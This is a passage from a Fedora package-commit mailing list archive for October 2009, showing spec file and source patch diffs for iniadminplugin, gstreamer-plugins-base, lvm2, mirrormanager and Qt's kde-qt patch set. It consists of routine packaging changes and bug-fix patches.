-# Source comes from Trac right now: http://trac-hacks.org/changeset/%{svnrev}/iniadminplugin/0.10?old_path=/&filename=iniadminplugin/0.10&format=zip
-Source0:        iniadminplugin_0.10-r%{svnrev}.zip
+# Source comes from Trac right now: http://trac-hacks.org/changeset/%{svnrev}/iniadminplugin/0.11?old_path=/&filename=iniadminplugin/0.11&format=zip
+Source0:        iniadminplugin_0.11-r%{svnrev}.zip
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -21,7 +21,7 @@ BuildRequires:  python-setuptools
 Requires:       trac, python-setuptools
 
 %description
-This plugin uses the new configuration option API in Trac 0.10 to allow
+This plugin uses the new configuration option API in Trac 0.11 to allow
 modification of any field exposed through this mechanism.
 
 This currently includes all core Trac settings, and although no plugins are
@@ -31,7 +31,7 @@ Note: Many Trac options require a restar
 changes may not take effect until that is done.
 
 %prep
-%setup -n iniadminplugin/0.10 -q
+%setup -n iniadminplugin/0.11 -q
 
 
 %build
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Jesse Keating <jkeating at redhat.com> - 0.1-7.20091026svn3915
+- Update for 0.11
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1-5.20071126svn2824
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From hadess at fedoraproject.org  Tue Oct 27 01:08:45 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 01:08:45 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/F-12 gstreamer-plugins-base.spec, 1.89, 
	1.90
Message-ID: <20091027010845.874B311C0264@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7869

Modified Files:
	gstreamer-plugins-base.spec 
Log Message:
* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-3
- Fix audio disappearing with newer pulsesink



Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-12/gstreamer-plugins-base.spec,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- gstreamer-plugins-base.spec	13 Oct 2009 15:17:10 -0000	1.89
+++ gstreamer-plugins-base.spec	27 Oct 2009 01:08:44 -0000	1.90
@@ -3,7 +3,7 @@
 
 Name: 		%{gstreamer}-plugins-base
 Version: 	0.10.25
-Release:  	2%{?dist}
+Release:  	3%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
 Group: 		Applications/Multimedia
@@ -37,6 +37,11 @@ Obsoletes:	gstreamer-plugins
 Patch0:		gstpb-no-subtitle-errors.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=591677
 Patch1:		gstpb-fix-missing-plugins.patch
+# Revert http://cgit.freedesktop.org/gstreamer/gst-plugins-base/commit/?id=35cddfb1e3ddc6513c7daca093d72151a13e9342
+# We have a new enough pulsesink
+# https://bugzilla.gnome.org/show_bug.cgi?id=599105
+Patch2:		pulsesink-disable-old-version-hack.patch
+Conflicts:	gstreamer-plugins-good < 0.10.16-3
 
 # documentation
 BuildRequires:  gtk-doc >= 1.3
@@ -56,6 +61,7 @@ This package contains a set of well-main
 %setup -q -n gst-plugins-base-%{version}
 %patch0 -p1 -b .subtitle-errors
 %patch1 -p1 -b .missing-plugins
+%patch2 -p1 -R -b .old-pulsesink
 
 %build
 %configure \
@@ -251,6 +257,9 @@ GStreamer Base Plugins library developme
 %doc %{_datadir}/gtk-doc/html/gst-plugins-base-plugins-%{majorminor}
 
 %changelog
+* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-3
+- Fix audio disappearing with newer pulsesink
+
 * Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-2
 - Add patches to fix some playbin2 bugs (#518880)
 



From hadess at fedoraproject.org  Tue Oct 27 01:11:52 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 01:11:52 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/F-12
	pulsesink-disable-old-version-hack.patch, NONE, 1.1
Message-ID: <20091027011152.2468611C0264@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9979

Added Files:
	pulsesink-disable-old-version-hack.patch 
Log Message:
add missing patch

pulsesink-disable-old-version-hack.patch:
 gstbaseaudiosink.c |   46 +++++++++++++++++++++++++++++++++++-----------
 1 file changed, 35 insertions(+), 11 deletions(-)

--- NEW FILE pulsesink-disable-old-version-hack.patch ---
>From 35cddfb1e3ddc6513c7daca093d72151a13e9342 Mon Sep 17 00:00:00 2001
From: Wim Taymans <wim.taymans at collabora.co.uk>
Date: Thu, 10 Sep 2009 10:38:16 +0000
Subject: baseaudiosink: add ugly backward compat hack

Check for pulsesink < 0.10.17 because it includes code that is now included in
baseaudiosink. Disable that code in baseaudiosink to be compatible with the
older version.
---
diff --git a/gst-libs/gst/audio/gstbaseaudiosink.c b/gst-libs/gst/audio/gstbaseaudiosink.c
index afa62c3..23fde25 100644
--- a/gst-libs/gst/audio/gstbaseaudiosink.c
+++ b/gst-libs/gst/audio/gstbaseaudiosink.c
@@ -56,6 +56,8 @@ struct _GstBaseAudioSinkPrivate
   gboolean sync_latency;
 
   GstClockTime eos_time;
+
+  gboolean do_time_offset;
 };
 
 /* BaseAudioSink signals and args */
@@ -231,12 +233,15 @@ gst_base_audio_sink_class_init (GstBaseAudioSinkClass * klass)
    * thread-safety in GObject */
   g_type_class_ref (GST_TYPE_AUDIO_CLOCK);
   g_type_class_ref (GST_TYPE_RING_BUFFER);
+
 }
 
 static void
 gst_base_audio_sink_init (GstBaseAudioSink * baseaudiosink,
     GstBaseAudioSinkClass * g_class)
 {
+  GstPluginFeature *feature;
+
   baseaudiosink->priv = GST_BASE_AUDIO_SINK_GET_PRIVATE (baseaudiosink);
 
   baseaudiosink->buffer_time = DEFAULT_BUFFER_TIME;
@@ -253,6 +258,24 @@ gst_base_audio_sink_init (GstBaseAudioSink * baseaudiosink,
   /* install some custom pad_query functions */
   gst_pad_set_query_function (GST_BASE_SINK_PAD (baseaudiosink),
       GST_DEBUG_FUNCPTR (gst_base_audio_sink_query_pad));
+
+  baseaudiosink->priv->do_time_offset = TRUE;
+
+  /* check the factory, pulsesink < 0.10.17 does the timestamp offset itself so
+   * we should not do ourselves */
+  feature =
+      GST_PLUGIN_FEATURE_CAST (GST_ELEMENT_CLASS (g_class)->elementfactory);
+  GST_DEBUG ("created from factory %p", feature);
+
+  /* HACK for old pulsesink that did the time_offset themselves */
+  if (feature) {
+    if (strcmp (gst_plugin_feature_get_name (feature), "pulsesink") == 0) {
+      if (!gst_plugin_feature_check_version (feature, 0, 10, 17)) {
+        /* we're dealing with an old pulsesink, we need to disable time corection */
+        baseaudiosink->priv->do_time_offset = FALSE;
+      }
+    }
+  }
 }
 
 static void
@@ -1409,16 +1432,18 @@ gst_base_audio_sink_render (GstBaseSink * bsink, GstBuffer * buf)
   }
 
   /* bring to position in the ringbuffer */
-  time_offset =
-      GST_AUDIO_CLOCK_CAST (sink->provided_clock)->abidata.ABI.time_offset;
-  if (render_start > time_offset)
-    render_start -= time_offset;
-  else
-    render_start = 0;
-  if (render_stop > time_offset)
-    render_stop -= time_offset;
-  else
-    render_stop = 0;
+  if (sink->priv->do_time_offset) {
+    time_offset =
+        GST_AUDIO_CLOCK_CAST (sink->provided_clock)->abidata.ABI.time_offset;
+    if (render_start > time_offset)
+      render_start -= time_offset;
+    else
+      render_start = 0;
+    if (render_stop > time_offset)
+      render_stop -= time_offset;
+    else
+      render_stop = 0;
+  }
 
   /* and bring the time to the rate corrected offset in the buffer */
   render_start = gst_util_uint64_scale_int (render_start,
--
cgit v0.8.2



From agk at fedoraproject.org  Tue Oct 27 01:12:39 2009
From: agk at fedoraproject.org (agk)
Date: Tue, 27 Oct 2009 01:12:39 +0000 (UTC)
Subject: rpms/lvm2/devel LVM2.2.02.54.tgz.asc, NONE, 1.1 .cvsignore, 1.72,
	1.73 lvm2.spec, 1.184, 1.185 sources, 1.79, 1.80 upstream, 1.65,
	1.66 LVM2.2.02.53.tgz.asc, 1.2, NONE
Message-ID: <20091027011239.18ED611C0264@cvs1.fedora.phx.redhat.com>

Author: agk

Update of /cvs/pkgs/rpms/lvm2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10001

Modified Files:
	.cvsignore lvm2.spec sources upstream 
Added Files:
	LVM2.2.02.54.tgz.asc 
Removed Files:
	LVM2.2.02.53.tgz.asc 
Log Message:
New upstream - fixes and minor features.



--- NEW FILE LVM2.2.02.54.tgz.asc ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQBK5kZWIoGRwVZ+LBcRAqVzAKDjFkTORjQf+oH6T4Iwuhm2Ef8ZZACgnoc7
2MyrNinCnrOcJI/VgJ2+MWU=
=n8n1
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/lvm2/devel/.cvsignore,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- .cvsignore	25 Sep 2009 19:38:32 -0000	1.72
+++ .cvsignore	27 Oct 2009 01:12:38 -0000	1.73
@@ -1 +1 @@
-LVM2.2.02.53.tgz
+LVM2.2.02.54.tgz


Index: lvm2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lvm2/devel/lvm2.spec,v
retrieving revision 1.184
retrieving revision 1.185
diff -u -p -r1.184 -r1.185
--- lvm2.spec	19 Oct 2009 13:02:45 -0000	1.184
+++ lvm2.spec	27 Oct 2009 01:12:38 -0000	1.185
@@ -1,4 +1,4 @@
-%define device_mapper_version 1.02.38
+%define device_mapper_version 1.02.39
 %define corosync_version 1.0.0-1
 %define openais_version 1.1.0-1
 %define clusterlib_version 3.0.0-20
@@ -8,8 +8,8 @@
 
 Summary: Userland logical volume management tools 
 Name: lvm2
-Version: 2.02.53
-Release: 3%{?dist}
+Version: 2.02.54
+Release: 1%{?dist}
 License: GPLv2
 Group: System Environment/Base
 URL: http://sources.redhat.com/lvm2
@@ -382,6 +382,26 @@ the device-mapper event library.
 
 
 %changelog
+* Tue Oct 27 2009 Alasdair Kergon <agk at redhat.com> - 2.02.54-1
+- Add implict pvcreate support to vgcreate and vgextend.
+- Add --pvmetadatacopies for pvcreate, vgcreate, vgextend, vgconvert.
+- Distinguish between powers of 1000 and powers of 1024 in unit suffixes.
+- Restart lvconverts in vgchange.
+- Don't attempt to deactivate an LV if any of its snapshots are in use.
+- Return error if lv_deactivate fails to remove device from kernel.
+- Treat input units of both 's' and 'S' as 512-byte sectors.  (2.02.49)
+- Use standard output units for 'PE Size' and 'Stripe size' in pv/lvdisplay.
+- Add global/si_unit_consistency to enable cleaned-up use of units in output.
+- Only do lock conversions in clvmd if we are explicitly asked for one.
+- Fix clvmd segfault when refresh_toolcontext fails.
+- Cleanup mimagetmp LV if allocation fails for new lvconvert mimage.
+- Handle metadata with unknown segment types more gracefully.
+- Make clvmd return 0 on success rather than 1.
+- Correct example.conf to indicate that lvm2 not lvm1 is the default format.
+- Delay announcing mirror monitoring to syslog until initialisation succeeded.
+- Update lvcreate/lvconvert man pages to explain PhysicalVolume parameter.
+- Document --all option in man pages and cleanup {pv|vg|lv}{s|display} pages.
+
 * Mon Oct 19 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 2.02.53-3
 - Enable openais support in clvmd.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/lvm2/devel/sources,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- sources	26 Sep 2009 00:39:03 -0000	1.79
+++ sources	27 Oct 2009 01:12:38 -0000	1.80
@@ -1 +1 @@
-f9ae3579bf15467b7f1d7aea8b9ed9b3  LVM2.2.02.53.tgz
+6a33416469652b01aa48cefbe9cac8c1  LVM2.2.02.54.tgz


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/lvm2/devel/upstream,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- upstream	25 Sep 2009 19:38:32 -0000	1.65
+++ upstream	27 Oct 2009 01:12:38 -0000	1.66
@@ -1 +1 @@
-LVM2.2.02.53.tgz
+LVM2.2.02.54.tgz


--- LVM2.2.02.53.tgz.asc DELETED ---



From mdomsch at fedoraproject.org  Tue Oct 27 01:14:21 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 27 Oct 2009 01:14:21 +0000 (UTC)
Subject: rpms/mirrormanager/EL-5 mirrormanager-1.3.3-confirm-delete.patch,
	NONE, 1.1 mirrormanager.spec, 1.13, 1.14
Message-ID: <20091027011421.72A8111C0264@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/mirrormanager/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10732

Modified Files:
	mirrormanager.spec 
Added Files:
	mirrormanager-1.3.3-confirm-delete.patch 
Log Message:
add confirm-delete patch, bump release

mirrormanager-1.3.3-confirm-delete.patch:
 controllers.py |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE mirrormanager-1.3.3-confirm-delete.patch ---
>From 74e1fdc2ed6d7c92234cb6179d317ef7a5934beb Mon Sep 17 00:00:00 2001
From: BJ Dierkes <wdierkes at rackspace.com>
Date: Mon, 26 Oct 2009 20:08:40 -0500
Subject: [PATCH] Fix confirm delete method in webui.

---
 server/mirrormanager/controllers.py |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/server/mirrormanager/controllers.py b/server/mirrormanager/controllers.py
index f811c1f..3bf9560 100644
--- a/server/mirrormanager/controllers.py
+++ b/server/mirrormanager/controllers.py
@@ -844,10 +844,10 @@ class SimpleDbObjectController(controllers.Controller, identity.SecureResource,
             obj.destroySelf()
             turbogears.redirect("/adminview")
         else:
-            self.form = confirm_delete_form
-            self.title = "Item Deletion"
+            form = confirm_delete_form
+            title = "Item Deletion"
             submit_action = "/%s/%s/delete?confirmed=1" % (self.url_prefix, obj.id)
-            return dict(form=self.form, values=obj, action=submit_action, title=self.title)
+            return dict(form=form, values=obj, action=submit_action, title=title)
 
 
 #########################################################3
-- 
1.6.0.6



Index: mirrormanager.spec
===================================================================
RCS file: /cvs/extras/rpms/mirrormanager/EL-5/mirrormanager.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- mirrormanager.spec	26 Oct 2009 15:23:49 -0000	1.13
+++ mirrormanager.spec	27 Oct 2009 01:14:20 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           mirrormanager
 Version:        1.3.3
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Fedora mirror management system
 BuildArch:      noarch
 
@@ -8,6 +8,7 @@ Group:          Applications/Internet
 License:        MIT and GPLv2
 URL:            http://fedorahosted.org/mirrormanager
 Source0:        https://fedorahosted.org/releases/m/i/%{name}/%{name}-%{version}.tar.bz2
+Patch0:         mirrormanager-1.3.3-confirm-delete.patch
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildRequires:  python
 Requires:       TurboGears, python-IPy, python-GeoIP, wget, yum, psmisc, python-dns, python-fedora >= 0.3.14, py-radix, mod_wsgi
@@ -37,6 +38,7 @@ mirror.
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 
@@ -84,10 +86,15 @@ exit 0
 
 
 %changelog
-* Thu Sep 28 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.3-1
+* Mon Oct 26 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.3-2
+- add patch to fix confirm delete from webui
+
+* Mon Oct 26 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.3-1
 - initial setup patches from BJ Dierkes
   - simpler mirrormanager.initial, README.rpm_setup, prod.cfg
   - add user mirrormanager and group mirrormanager, content permissions
+- improved BGP ASN lookups using py-radix
+- create mirrormanager user and group if not already present
 
 * Thu Sep 28 2009 Matt Domsch <mdomsch at fedoraproject.org> - 1.3.2-1
 - add BGP ASN lookups



From rdieter at fedoraproject.org  Tue Oct 27 01:20:20 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 27 Oct 2009 01:20:20 +0000 (UTC)
Subject: rpms/qt/devel
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch, 1.2, 
	1.3 0002-This-patch-makes-override-redirect-windows-popup-men.patch, 
	NONE,
	1.1 0003-This-patch-changes-QObjectPrivateVersion-thus-preven.patch, 
	NONE,
	1.1 0004-This-patch-adds-support-for-using-isystem-to-allow-p.patch, 
	NONE, 1.1 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch, 
	1.2,
	1.3 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch, 
	1.2,
	1.3 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-ge.patch, 
	NONE,
	1.1 0008-This-patch-makes-the-raster-graphics-system-use-shar.patch, 
	NONE,
	1.1 0009-Restore-a-section-of-the-file-that-got-removed-due-t.patch, 
	NONE, 1.1 0010-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch,
	NONE,
	1.1 0011-Fill-gap-of-X.org-XFree-multimedia-special-launcher-.patch, 
	NONE, 1.1 0012-Add-context-to-tr-calls-in-QShortcut.patch, NONE,
	1.1 0013-Fix-QNativeImage-constructor.patch, NONE,
	1.1 0274-shm-native-image-fix.patch, 1.2, 1.3 kde-qt-patches.sh,
	1.3, 1.4 qt.spec, 1.349, 1.350
Message-ID: <20091027012020.6430311C02BB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12586

Modified Files:
	kde-qt-patches.sh qt.spec 
Added Files:
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch 
	0002-This-patch-makes-override-redirect-windows-popup-men.patch 
	0003-This-patch-changes-QObjectPrivateVersion-thus-preven.patch 
	0004-This-patch-adds-support-for-using-isystem-to-allow-p.patch 
	0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch 
	0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch 
	0007-When-using-qmake-outside-qt-src-tree-it-sometimes-ge.patch 
	0008-This-patch-makes-the-raster-graphics-system-use-shar.patch 
	0009-Restore-a-section-of-the-file-that-got-removed-due-t.patch 
	0010-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch 
	0011-Fill-gap-of-X.org-XFree-multimedia-special-launcher-.patch 
	0012-Add-context-to-tr-calls-in-QShortcut.patch 
	0013-Fix-QNativeImage-constructor.patch 
	0274-shm-native-image-fix.patch 
Log Message:
* Mon Oct 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.6.0-0.3.beta1
- kde-qt patches (as of 20091026)


0001-This-patch-uses-object-name-as-a-fallback-for-window.patch:
 corelib/kernel/qobject.cpp |    8 ++++++++
 corelib/kernel/qobject_p.h |    3 +++
 gui/kernel/qwidget_p.h     |    1 +
 gui/kernel/qwidget_x11.cpp |   28 +++++++++++++++++++++-------
 4 files changed, 33 insertions(+), 7 deletions(-)

Index: 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch
===================================================================
RCS file: 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch
diff -N 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch	27 Oct 2009 01:20:16 -0000	1.3
@@ -0,0 +1,117 @@
+From b48e2091871516496cf0b133249fbf5326a55831 Mon Sep 17 00:00:00 2001
+From: Lubos Lunak <l.lunak at kde.org>
+Date: Sat, 23 Feb 2008 16:44:52 +0100
+Subject: [PATCH 01/13] This patch uses object name as a fallback for window role if no window
+ role is set explicitly using setWindowRole(). Since Qt3 always used
+ the object name as the window role and most Qt3/KDE3 code is ported to
+ call setObjectName(),
+
+this makes the window role set in many cases (which KWin uses for window identifying).
+
+NOTE: It is suggested to apply patch #0209 as well when this patch is used.
+
+qt-bugs@ issue : 167704
+Trolltech task ID : 168283 (status: "fixed" for Qt 4.4.0, but effectively refused)
+---
+ src/corelib/kernel/qobject.cpp |    8 ++++++++
+ src/corelib/kernel/qobject_p.h |    3 +++
+ src/gui/kernel/qwidget_p.h     |    1 +
+ src/gui/kernel/qwidget_x11.cpp |   27 +++++++++++++++++++++------
+ 4 files changed, 33 insertions(+), 6 deletions(-)
+
+diff --git a/src/corelib/kernel/qobject.cpp b/src/corelib/kernel/qobject.cpp
+index 6487194..ef0369e 100644
+--- a/src/corelib/kernel/qobject.cpp
++++ b/src/corelib/kernel/qobject.cpp
+@@ -993,8 +993,16 @@ void QObject::setObjectName(const QString &name)
+ {
+     Q_D(QObject);
+     d->objectName = name;
++#if defined(Q_WS_X11)
++    d->checkWindowRole();
++#endif
+ }
+ 
++#if defined(Q_WS_X11)
++void QObjectPrivate::checkWindowRole()
++{
++}
++#endif
+ 
+ #ifdef QT3_SUPPORT
+ /*! \internal
+diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
+index 0bcccba..6ab9e10 100644
+--- a/src/corelib/kernel/qobject_p.h
++++ b/src/corelib/kernel/qobject_p.h
+@@ -144,6 +144,9 @@ public:
+     mutable quint32 connectedSignals;
+ 
+     QString objectName;
++#if defined(Q_WS_X11)
++    virtual void checkWindowRole();
++#endif
+ 
+     // Note: you must hold the signalSlotLock() before accessing the lists below or calling the functions
+     struct Connection
+diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
+index 774e390..176d6fa 100644
+--- a/src/gui/kernel/qwidget_p.h
++++ b/src/gui/kernel/qwidget_p.h
+@@ -358,6 +358,7 @@ public:
+ 
+ #if defined(Q_WS_X11)
+     void setWindowRole();
++    virtual void checkWindowRole();
+     void sendStartupMessage(const char *message) const;
+     void setNetWmWindowTypes();
+     void x11UpdateIsOpaque();
+diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
+index 79ee8c9..b56849c 100644
+--- a/src/gui/kernel/qwidget_x11.cpp
++++ b/src/gui/kernel/qwidget_x11.cpp
+@@ -778,13 +778,17 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
+         data.fstrut_dirty = 1;
+ 
+         // declare the widget's window role
++        QByteArray windowRole;
+         if (QTLWExtra *topData = maybeTopData()) {
+-            if (!topData->role.isEmpty()) {
+-                QByteArray windowRole = topData->role.toUtf8();
+-                XChangeProperty(dpy, id,
+-                                ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+-                                (unsigned char *)windowRole.constData(), windowRole.length());
+-            }
++            if (!topData->role.isEmpty())
++                windowRole = topData->role.toUtf8();
++        }
++        if (windowRole.isEmpty()) // use object name as a fallback
++            windowRole = objectName.toUtf8();
++        if (!windowRole.isEmpty()) {
++            XChangeProperty(dpy, id,
++                            ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
++                            (unsigned char *)windowRole.constData(), windowRole.length());
+         }
+ 
+         // set client leader property
+@@ -2768,6 +2772,17 @@ void QWidgetPrivate::setWindowRole()
+                     (unsigned char *)windowRole.constData(), windowRole.length());
+ }
+ 
++void QWidgetPrivate::checkWindowRole()
++{
++    Q_Q(QWidget);
++    if( !q->windowRole().isEmpty() || !q->internalWinId())
++        return;
++    QByteArray windowRole = objectName.toUtf8(); // use as a fallback
++    XChangeProperty(X11->display, q->internalWinId(),
++                    ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
++                    (unsigned char *)windowRole.constData(), windowRole.length());
++}
++
+ Q_GLOBAL_STATIC(QX11PaintEngine, qt_widget_paintengine)
+ QPaintEngine *QWidget::paintEngine() const
+ {
+-- 
+1.6.5.1
+

0002-This-patch-makes-override-redirect-windows-popup-men.patch:
 qwidget_x11.cpp |   22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

--- NEW FILE 0002-This-patch-makes-override-redirect-windows-popup-men.patch ---
>From 339e220e29ff39b86705438b4be6f90e5618d27b Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Tue, 2 Oct 2007 16:08:32 +0200
Subject: [PATCH 02/13] This patch makes override-redirect windows (popup menu, dropdown menu,
 tooltip, combobox, etc.) also have more window properties like WM_CLASS,
 so they can be used when compositing.

qt-bugs@ issue : none
bugs.kde.org number : none
---
 src/gui/kernel/qwidget_x11.cpp |   21 +++++++++++++++------
 1 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..a74a849 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -719,6 +719,11 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         Q_ASSERT(id);
         XChangeWindowAttributes(dpy, id, CWOverrideRedirect | CWSaveUnder,
                                 &wsa);
+        XClassHint class_hint;
+        QByteArray appName = qAppName().toLatin1();
+        class_hint.res_name = appName.data(); // application name
+        class_hint.res_class = const_cast<char *>(QX11Info::appClass());   // application class
+        XSetWMProperties(dpy, id, 0, 0, 0, 0, 0, 0, &class_hint);
     } else if (topLevel && !desktop) {        // top-level widget
         if (!X11->wm_client_leader)
             create_wm_client_leader();
@@ -769,13 +774,21 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         // set EWMH window types
         setNetWmWindowTypes();
 
+        // when we create a toplevel widget, the frame strut should be dirty
+        data.fstrut_dirty = 1;
+
+    } else {
+        // non-toplevel widgets don't have a frame, so no need to
+        // update the strut
+        data.fstrut_dirty = 0;
+    }
+
+    if (initializeWindow && (popup || (topLevel && !desktop))) { // properties set on all toplevel windows
         // set _NET_WM_PID
         long curr_pid = getpid();
         XChangeProperty(dpy, id, ATOM(_NET_WM_PID), XA_CARDINAL, 32, PropModeReplace,
                         (unsigned char *) &curr_pid, 1);
 
-        // when we create a toplevel widget, the frame strut should be dirty
-        data.fstrut_dirty = 1;
 
         // declare the widget's window role
         if (QTLWExtra *topData = maybeTopData()) {
@@ -791,10 +804,6 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         XChangeProperty(dpy, id, ATOM(WM_CLIENT_LEADER),
                         XA_WINDOW, 32, PropModeReplace,
                         (unsigned char *)&X11->wm_client_leader, 1);
-    } else {
-        // non-toplevel widgets don't have a frame, so no need to
-        // update the strut
-        data.fstrut_dirty = 0;
     }
 
     if (initializeWindow && q->internalWinId()) {
-- 
1.6.5.1


0003-This-patch-changes-QObjectPrivateVersion-thus-preven.patch:
 qobject_p.h |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE 0003-This-patch-changes-QObjectPrivateVersion-thus-preven.patch ---
>From 68eaa07de69e873b89d4aba341c6ed1ca81f6819 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Wed, 30 Jan 2008 14:24:01 +0100
Subject: [PATCH 03/13] This patch changes QObjectPrivateVersion, thus preventing mixing
 parts of upstream Qt and qt-copy. In general it is a bad idea to mix
 e.g. libQtCore from one build and libQtGui from another one, and other
 qt-copy patches could make changes in Qt internal structures that could
 cause problems when mixed with upstream Qt.

This patch does not make qt-copy binary incompatible with upstream Qt.
It only further enforces using the same sources for the whole Qt build.

qt-bugs@ issue : none
Trolltech task ID : none
bugs.kde.org number : none
---
 src/corelib/kernel/qobject_p.h |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..88192fd 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -83,7 +83,9 @@ extern QSignalSpyCallbackSet Q_CORE_EXPORT qt_signal_spy_callback_set;
 
 inline QObjectData::~QObjectData() {}
 
-enum { QObjectPrivateVersion = QT_VERSION };
+// add 0x1000000 to mark it as qt-copy version, with possible modifications
+// in some Q*Private class
+enum { QObjectPrivateVersion = QT_VERSION + 0x1000000 };
 
 class Q_CORE_EXPORT QObjectPrivate : public QObjectData
 {
-- 
1.6.5.1


0004-This-patch-adds-support-for-using-isystem-to-allow-p.patch:
 configure |    9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

--- NEW FILE 0004-This-patch-adds-support-for-using-isystem-to-allow-p.patch ---
>From 86fc0d43cdcf3232ae0e4e6f4f28cf8f1a45ede5 Mon Sep 17 00:00:00 2001
From: Benjamin Reed <rangerrick at befunk.com>
Date: Tue, 19 Feb 2008 17:37:37 +0100
Subject: [PATCH 04/13] This patch adds support for using -isystem to allow putting an include
 directory at the end of the compiler's header search path.

I don't have the exact output anymore (I've since patched Qt's configure) but
essentially, since I have pcre.h in /opt/kde4-deps/include, it was
conflicting with Qt's (modified) pcre.h in the WebKit bits, since
-I /opt/kde4-deps/include ends up in CXXFLAGS in the generated makefiles, it
comes *before* the specific locations in INCPATH on the compile line, and you
end up with a conflict with the system-installed pcre.h.

Presumably, if your pcre.h is in /usr/include as on most Linux systems, you
